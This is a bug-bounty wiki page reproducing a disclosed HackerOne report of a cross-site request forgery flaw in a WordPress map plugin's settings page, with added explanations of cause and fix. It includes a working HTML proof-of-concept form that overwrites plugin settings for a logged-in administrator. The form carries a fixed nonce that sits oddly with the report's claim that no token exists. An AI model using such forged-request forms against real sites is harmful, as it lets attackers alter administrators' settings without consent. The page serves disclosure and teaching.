Skip to content
CSRF Disclosed report Beginner

CSRF in changing settings of Basic Google Maps Placemarks

The WordPress plugin Basic Google Maps Placemarks lacked a CSRF token when saving its settings, so a crafted page could submit a settings update on behalf of a logged-in administrator. An attacker could change map width, height, centre address and other plugin settings.

ahsan Follow

Originally disclosed on HackerOne

  • Disclosed after 18 hours

Hey, this is Ahsan Tahir!

I was just pentesting Basic Google Maps Placemarks in Wordpress, I found a CSRF (Cross-Site Request Forgery) So, by exploiting this CSRF issue, an attacker can edit the settings (e.g Map Width, Map Height, Map Center Address etc..)

#PoC There is not CSRF token/Authentication token when changing settings of Basic Google Maps Placemarks (http://localhost/wordpress/wp-admin/options-general.php?page=bgmp_settings)

So, we can exploit it with the following code:

##Exploit Code

<html>
  <body>
    <form action="http://localhost/wordpress/wp-admin/options.php" method="POST">
      <input type="hidden" name="option&#95;page" value="bgmp&#95;settings" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="&#95;wpnonce" value="a9ef057ff9" />
      <input type="hidden" name="&#95;wp&#95;http&#95;referer" value="&#47;wordpress&#47;wp&#45;admin&#47;options&#45;general&#46;php&#63;page&#61;bgmp&#95;settings" />
      <input type="hidden" name="bgmp&#95;map&#45;width" value="testing" />
      <input type="hidden" name="bgmp&#95;map&#45;height" value="testing" />
      <input type="hidden" name="bgmp&#95;map&#45;address" value="testing" />
      <input type="hidden" name="bgmp&#95;map&#45;zoom" value="7" />
      <input type="hidden" name="bgmp&#95;map&#45;type" value="ROADMAP" />
      <input type="hidden" name="bgmp&#95;map&#45;type&#45;control" value="off" />
      <input type="hidden" name="bgmp&#95;map&#45;navigation&#45;control" value="DEFAULT" />
      <input type="hidden" name="bgmp&#95;map&#45;info&#45;window&#45;width" value="testing" />
      <input type="hidden" name="bgmp&#95;cluster&#45;max&#45;zoom" value="testing" />
      <input type="hidden" name="bgmp&#95;cluster&#45;grid&#45;size" value="testing" />
      <input type="hidden" name="bgmp&#95;cluster&#45;style" value="default" />
      <input type="hidden" name="submit" value="Save&#32;Changes" />
      <input type="hidden" name="closedpostboxesnonce" value="faa425ff22" />
      <input type="hidden" name="&#95;wp&#95;http&#95;referer" value="&#47;wordpress&#47;wp&#45;admin&#47;options&#45;general&#46;php&#63;page&#61;bgmp&#95;settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

If you run above HTML code in your browser, when you are logged in to your wordpress, and click on submit request, every value of http://localhost/wordpress/wp-admin/options-general.php?page=bgmp_settings will be set to "testing"

This one is a small, but effective CSRF; effective because if anyone tricks the admin into clicking the button, or even visiting the page (JavaScript is used in that type of exploit code!) The settings will be changed automatically!

###How to Fix? The fix is simple, add a CSRF token in the request/form for editing the settings of Basic Google Maps Placemarks!

Hoping for your positive response! ✌

If you have any other questions or if anything needs clarification, please let me know.

Cheers, Ahsan

The original report as published on HackerOne, by ahsan. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the settings form handler did not verify a per-request CSRF token before saving the plugin options.

Impact

An attacker who tricks a logged-in administrator into visiting a page could change the plugin's map settings; the report notes JavaScript could make this happen without a click.

What the attacker needed

Victim is a logged-in WordPress admin; victim visits attacker page or clicks a button; plugin Basic Google Maps Placemarks installed

The fix

The settings form should be fixed by adding and verifying a CSRF token on the request that saves the plugin settings.

How it was found

  1. Log in to WordPress as an administrator.
  2. Open a crafted HTML page that posts to the WordPress options endpoint with the plugin's settings fields.
  3. Click the submit button on that page.
  4. Observe that every plugin setting is changed to the attacker-supplied values.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged into a website, your browser sends your session cookie with every request to that site. If a page on another site can make your browser send a request that changes settings, and the site does not check for a secret token that only its own pages know, that is called cross-site request forgery (CSRF). Here the plugin saved settings without such a check, so a page the attacker controls could change them while an admin was logged in.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by ahsan

View all

24 more disclosed reports, best first.

More from Ian Dunn

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.